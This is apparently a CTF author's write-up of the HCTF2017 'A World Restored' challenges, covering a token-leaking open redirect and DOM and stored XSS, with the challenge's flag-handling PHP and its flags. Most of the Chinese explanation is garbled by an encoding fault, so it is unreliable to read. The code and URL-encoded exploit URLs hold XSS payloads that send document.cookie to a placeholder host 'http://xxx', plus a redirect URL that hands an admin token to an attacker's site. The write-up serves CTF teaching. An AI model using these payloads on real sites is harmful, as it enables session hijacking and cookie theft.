LoRexxar's Blog

HCTF2017-A World Restored-Writeup

2017/11/15
1
2
3
4
5
6
7
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7
1
2
3
4
5
6
7
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6

棰樼洰婧愮爜濡備笅锛
https://github.com/LoRexxar/HCTF2017-A-World-Restored

A World Restored鍦ㄥ嚭棰樻濊矾鏈韩鏄潵鑷簬uber鍦10鏈14鍙峰叕寮鐨勪竴涓紡娲https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html锛屼负浜嗚兘灏藉彲鑳界殑妯℃嫙鐪熷疄鐜锛屾垜杩欎釜涓嶄笓涓氱殑Web寮鍙戝彧鑳藉己琛屼笂鎵嬪疄鐜扮珯搴撳垎绂汇

鍏朵腑鐨勪竴閮ㄥ垎闈為鏈燂紝涔熼兘鏄洜涓虹珯搴撳垎绂诲疄鐜扮殑涓嶅ソ鑰屽鑷寸殑銆傦紙鏇村紑鏀剧殑棰樼洰鐜锛屽鑷翠簡寰堝鍙兘锛屾垨璁歌繖娌′粈涔堜笉濂界殑锛

鏁翠釜绔欑殑缁撴瀯鏄繖鏍风殑锛
1銆乤uth绔欒礋璐g敤鎴锋暟鎹殑澶勭悊锛屽寘鎷櫥闄嗛獙璇併佹敞鍐岀瓑锛屾槸鏁版嵁搴撴墍鍦ㄧ珯銆
2銆乵essbox绔欒礋璐g敤鎴风殑鍚勭鎿嶄綔锛屼絾涓嶈繛鎺ユ暟鎹簱銆

杩欓噷auth绔欎笌messbox绔欏睘浜庝袱涓畬鍏ㄤ笉鍚岀殑鍩燂紝鍙楀埌鍚屾簮绛栫暐鐨勫奖鍝嶏紝鎴戜滑灏遍渶瑕佹湁鍔炴硶鏉ユ矡閫氫袱涓珯銆

鑰岃繖閲岋紝鎴戦夋嫨浣跨敤token鍋氱敤鎴风櫥闄嗙殑鏍¢獙+jsonp鏉ヨ幏鍙栫敤鎴锋暟鎹傜珯鐐圭粨鏋勫涓:

image.png-37.7kB

绠鍗曟潵璇村氨鏄紝messbox鐧婚檰璐﹀彿瀹屽叏鍙楀埌token鏍¢獙锛屽嵆浣夸綘鍦ㄥ畬鍏ㄤ笉鐭ラ亾璐﹀彿瀵嗙爜鐨勬儏鍐典笅锛岃幏鍙栬token灏卞彲浠ョ櫥闄嗚处鍙枫

閭d箞鎬庝箞鑾峰彇token鐧婚檰admin璐﹀彿灏辨槸绗竴棰樸

鑰岀浜岄锛屾紡娲炵偣灏辨槸涓婇潰鏂囩珷涓啓鐨勯偅鏍凤紝鍙嶅皠鎬х殑domxss锛屽彲浠ュ緱鍒版湇鍔$鐨刦lag銆

涓轰簡涓や釜flag浜掍笉骞叉壈锛屾垜瀵规湇鍔$鍋氫簡涓瀹氱殑澶勭悊锛屾湇鍔$璐熻矗澶勭悊flag鐨勪唬鐮佸涓嬶細

1
2
3
4
5
6
7
8
9
10
11
12
$flag1 = "hctf{xs5_iz_re4lly_complex34e29f}";
$flag2 = "hctf{mayb3_m0re_way_iz_best_for_ctf}";
if(!empty($_SESSION['user'])){
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322'){
setcookie("flag", $flag, time()+3600*48," ","messbox.2017.hctf.io", 0, true);
}
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322' && $_GET['check']=="233e"){
setcookie("flag2", $flag2, time()+3600*48," ",".2017.hctf.io");
}
}

鍙互寰堟槑鏄剧殑鐪嬪嚭鏉ワ紝flag1鏄痟ttponly骞跺湪messbox鍩熶笅锛屽彧鑳界櫥闄嗘墠鑳芥煡鐪嬨俧lag2鎴戣缃簡check浣嶏紝鍙湁bot鎵嶄細璁块棶杩欎釜椤甸潰锛岃繖鏍峰彧鏈夐氳繃鍙嶅皠鎬ss锛屾墠鑳藉緱鍒癴lag銆

涓嬮潰鎴戜滑鍥炲埌棰樼洰銆

A World Restored

1
2
3
4
5
6
7
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7

杩欓亾棰樼洰鍦ㄦ瘮璧涚粨鏉熸椂锛屽彧鏈7鍙槦浼嶆渶缁堝畬鎴愪簡锛岄潪甯稿嚭涔庢垜鐨勬剰鏂欙紝鍥犱负婕忔礊鏈韩闈炲父鏈夋剰鎬濄傦紙杩欎釜婕忔礊鏄疪OIS鍙戠幇鐨勶級

涓轰簡鑳藉瀹炵幇token锛屾垜璁惧畾浜唗oken涓嶅彲閫嗙殑浜岄噸楠岃瘉绛栫暐锛屼絾鏄湪棰樼洰涓垜鍔犲叆浜嗕竴涓壒娈婄殑鎺ュ彛锛岃鎴戜滑鍥為【涓涓嬨

auth鍩熶腑鐨刲ogin.php锛屾垜鍔犲叆浜嗚繖鏍蜂竴娈典唬鐮

1
2
3
4
5
6
7
8
9
if(!empty($_GET['n_url'])){
$n_url = trim($_GET['n_url']);
echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>";
exit;
}else{
// header("location: http://messbox.hctf.com?token=".$usertoken);
echo "<script nonce='{$random}'>window.location.href='http://messbox.2017.hctf.io?token=".$usertoken."'</script>";
exit;
}

杩欐浠g爜涔熸槸涓や釜婕忔礊鐨勬牳蹇冩紡娲炵偣锛屽亣璁句綘鍦ㄦ湭鐧诲綍鐘舵佷笅璁块棶messbox鍩熶笅鐨剈ser.php鎴栬卹eport.php杩欎袱涓〉闈紝閭d箞鍥犱负鏈櫥褰曪紝椤甸潰浼氳烦杞埌auth鍩熷苟鎼哄甫n_url锛屽鏋滆幏鍙栧埌鐧婚檰鐘舵侊紝杩欓噷灏变細鎷兼帴token浼犲洖messbox鍩燂紝骞惰祴浜堢櫥闄嗙姸鎬併

绠鍗曠殑娴佺▼濡備笅锛

1
鏈櫥褰->鑾峰彇褰撳墠URL->璺宠浆鑷砤uth->鑾峰彇鐧婚檰鐘舵->鎼哄甫token璺宠浆鍒板垰鎵嶈幏鍙栫殑URL->messbox鐧婚檰鎴愬姛

褰撶劧锛岃繖鍏朵腑鏄湁婕忔礊鐨勩

鏈嶅姟绔痓ot蹇呯劧鐧婚檰浜哸dmin璐﹀彿锛屽鏋滄垜浠洿鎺ヨ姹俵ogin.php骞跺埗瀹氫笅涓姝ヨ烦杞殑URL锛岄偅涔堟垜浠氨鍙互鑾峰彇鎷兼帴涓婄殑token锛

1
2
3
poc
http://auth.2017.hctf.io/login.php?n_url=http://{you_website}

寰楀埌token鎴戜滑灏卞彲浠ョ櫥闄唌essbox鍩燂紝鎴愬姛鐧婚檰admin

A World Restored Again

1
2
3
4
5
6
7
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6

鍒颁簡绗簩閮紝鑷劧灏辨槸xss浜嗭紝鍏跺疄棰樼洰鏈韩闈炲父绠鍗曪紝鍦ㄥ嚭棰樹箣鍒濓紝涓轰簡閬垮厤棰樼洰鍑虹幇鈥滃瀮鍦炬椂闂粹濓紙鍥犱负闈為鏈熷鑷撮鐩笉鍙В锛夛紝鎴戝湪棰樼洰涓姞鍏ヤ簡璺熷鍏冪礌銆

骞舵妸flag2鏀剧疆鍦.2017.hctf.io鍩熶笅锛岄伩鍏嶆湁浜烘壘鍒癿essbox鐨剎ss浣嗘槸鎵撲笉鍒癴lag鐨勯棶棰樸傦紙娌℃兂鍒扮湡鐨勭敤涓婁簡锛

杩欓噷鎴戝氨绠鍗曟弿杩颁笅棰勬湡瑙f硶鍜岄潪棰勬湡瑙f硶涓や釜銆

棰勬湡瑙f硶

棰勬湡瑙f硶褰撶劧鏉ヨ嚜浜庡嚭棰樻濊矾銆

https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html

婕忔礊鏈韩闈炲父绠鍗曪紝浣嗘湁鎰忔濈殑鏄埄鐢ㄦ濊矾銆

褰撲綘鍙戠幇浜嗕竴涓换鎰廢RL璺宠浆鐨勬紡娲烇紝浼氫笉浼氳冭檻婕忔礊鏄庝箞鍙戠敓鐨勶紵

涔熻浣犲钩鏃跺彲鑳芥病娉ㄦ剰杩囷紝浣嗚烦杞竴鑸槸鍒嗕袱绉嶇殑锛岀涓绉嶆槸鏈嶅姟绔仛鐨勶紝鍒╃敤header: location,杩欑璺宠浆鎴戜滑娌″姙娉曢樆姝€傜浜岀鏄痡s浣跨敤location.href瀵艰嚧鐨勮烦杞

鏃㈢劧鏄痡s瀹炵幇鐨勶紝閭d箞鏄笉鏄湁鍙兘瀛樺湪dom xss婕忔礊鍛紵

杩欎釜uber鐨勬紡娲炵敱鏉ュ氨鏄姝ゃ

杩欓噷鍞竴鐨勮冪偣灏辨槸锛宩s鏄竴绉嶉『搴忔墽琛岀殑璇█锛屽鏋渓ocation鎶ラ敊锛岄偅涔堝氨涓嶄細缁х画鎵ц鍚庨潰鐨刯s锛屽鏋渓ocation涓嶆姤閿欙紝閭d箞灏卞彲鑳藉湪鎵ц涓嬩竴鍙ヤ箣鍓嶈烦杞蛋銆

褰撶劧锛屽姙娉曞緢澶氥傛渶鏅氱殑鍙兘鏄湪location鍚庝娇鐢stop()鏉ラ樆姝㈣烦杞紝浣嗘渶濂界敤鐨勫氨鏄柊寤簊cript鍧楋紝杩欐牱涓婁竴涓猻cript鎶ラ敊涓嶄細褰卞搷鍒颁笅涓涓猻cript鍧椼

鏈缁坧ayload

1
2
3
4
5
</script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie='+document.cookie;//"></script
exp
http://auth.2017.hctf.io/login.php?n_url=%3E%3C%2fscript%3E%3Cscript%20src%3D%22http%3A%2f%2fauth.2017.hctf.io%2fgetmessage.php%3Fcallback%3Dwindow.location.href%3D%27http%3A%2f%2fxxx%3Fcookie%3D%27%252bdocument.cookie%3B%2f%2f%22%3E%3C%2fscript%3E

闈為鏈熻В娉

闄や簡涓婇潰鐨勬紡娲炰互澶栵紝messbox涔熸湁婕忔礊锛寀sername鍦ㄩ椤垫病鏈夌粡杩囦换浣曡繃婊ゅ氨鏄剧ず鍦ㄤ簡椤甸潰鍐呫

浣唘sername杩欓噷婕忔礊浼氭湁涓浜涢棶棰橈紝鍥犱负鏈韩棰勬湡鐨勬紡娲炵偣骞朵笉鏄繖閲岋紝鎵浠ヨ繖閲岀殑username缁忚繃鎴戞鏋舵湰韬殑涓鐐瑰効杩囨护锛岃屼笖闀垮害鏈夐檺鍒讹紝鎵浠ヤ粠杩欓噷鍒╃敤鐨勪汉浼氶亣鍒板緢澶氶潪棰勬湡鐨勯棶棰樸

payload濡備笅锛屾敞鍐屽悕涓

1
<script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://xxx/%27%2bbtoa(document.cookie);//></script>

鐨勭敤鎴峰悕锛屽苟鑾峰彇token銆

浼犻

1
2
3
4
http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb
U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltR
mphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa
2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=

鍗冲彲

CATALOG
  1. 1. A World Restored
  2. 2. A World Restored Again
    1. 2.1. 棰勬湡瑙f硶
    2. 2.2. 闈為鏈熻В娉